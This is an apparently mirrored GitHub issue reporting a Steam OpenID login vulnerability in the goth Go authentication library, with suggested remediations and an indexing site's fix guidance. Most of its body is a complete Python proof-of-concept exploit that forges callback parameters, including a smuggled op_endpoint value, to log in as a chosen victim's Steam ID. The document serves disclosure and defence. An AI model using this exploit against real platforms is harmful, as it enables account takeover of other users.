markbates / markbates/goth

Potential vulnerability in Steam authentication

Open
#595 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Go
Stars
6.6k
Forks
631
PR merge metrics
No merged PRs in 30d

Description

Hi!

We recently received a bug report about an exploit in the default OpenID authentication flow through Steam.
We don't use `goth` directly of indirectly and didn't try to reproduce the issue using the library, but after checking its source code I've noticed, that `goth` may be susceptible to this kind of attack.

Below is the reproduction code of the attack:
```Py
## INSTRUCTIONS ##

# 1. Edit the TARGET_VICTIM_STEAMID to select a steam64id of your choice
# 2. Run the python script
# 3. When asked for the Steam Login URL, enter the url that your platform sends users to in order to auth (should be a steamcommunity.com/openid/login url)
# 4. When asked to intercept the response, you must do so when steam is redirecting the user back to your platform. It is advised to use a tool such as Burp Community Edition in order to achieve this.
# 5. After following all the steps, your platform should log the user in as the TARGET_VICTIM_STEAMID

## CONSTANTS (EDIT THESE) ##

TARGET_VICTIM_STEAMID = "00000000000000000"

## POC (DON'T TOUCH THIS) ##

from datetime import datetime, timezone
import random
import string
from urllib.parse import urlparse, parse_qs, parse_qsl, quote, urlunparse, urlencode

FAKE_NONCE_TIME = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
FAKE_NONCE_STRING = ''.join(random.choices(string.ascii_letters + string.digits, k=27)) + "="
FAKE_NONCE = FAKE_NONCE_TIME + FAKE_NONCE_STRING

def run():
originalRawURL = input("Enter Steam Login URL: ")
originalQueryParams = parse_qs(urlparse(originalRawURL).query)

returnURL = originalQueryParams['openid.return_to'][0]

spoofedBottomSection = f"""test
claimed_id:https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}
identity:https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}
return_to:{returnURL}
response_nonce:{FAKE_NONCE}
assoc_handle:1234567890
invalidate_handle:test"""

originalSpoofedURL = originalRawURL + f"&openid.assoc_handle={quote(spoofedBottomSection)}"

print(
f"\nEnter the following link into your browser and log in. Intercept the response before it reaches the target return-to endpoint:\n{originalSpoofedURL}")
callbackRawURL = input("\nEnter the response from steam: ")
callbackParsedURL = urlparse(callbackRawURL)
callbackQueryParams = parse_qs(callbackParsedURL.query)

attacker_claimedid = callbackQueryParams['openid.claimed_id'][0]
real_nonce = callbackQueryParams['openid.response_nonce'][0]

spoofedTopSection = f"""https://steamcommunity.com/openid/login
claimed_id:{attacker_claimedid}
identity:{attacker_claimedid}
return_to:{returnURL}
response_nonce:{real_nonce}
assoc_handle:1234567890
invalidate_handle:test"""

callbackQueryParams['openid.claimed_id'][0] = f"https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}"
callbackQueryParams['openid.identity'][0] = f"https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}"
callbackQueryParams['openid.response_nonce'][0] = FAKE_NONCE
callbackQueryParams['openid.invalidate_handle'][0] = "test"
callbackQueryParams['openid.op_endpoint'][0] = spoofedTopSection

query_dict = {}
for key, value in callbackQueryParams.items():
query_dict[key] = value[0]

callbackSpoofedURL = urlunparse((
callbackParsedURL.scheme,
callbackParsedURL.netloc,
callbackParsedURL.path,
callbackParsedURL.params,
urlencode(query_dict, doseq=True),
callbackParsedURL.fragment
))

print(f"\nFINALISED SPOOFED URL:\n{callbackSpoofedURL}")

if __name__ == "__main__":
run()
```

Remediations:
* In order to fix this vulnerability, your library must ensure that the `openid.op_endpoint` parameter returned by Steam is equal to `https://steamcommunity.com/openid/login`
* (Optionally) Restrict the `openid.invalidate_handle` parameter from Steam, as it is never sent in the normal flow.

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by locating goth's Steam OpenID callback validation and trace how the returned openid.op_endpoint is handled. Compare it with the fixed Steam login endpoint described in the report, then inspect or add focused authentication tests for spoofed endpoint data; done means the reported login substitution cannot pass validation.

Written by the indexing model from the issue text.

Assessment

Tech stack
go
Domain
authentication, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
30/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.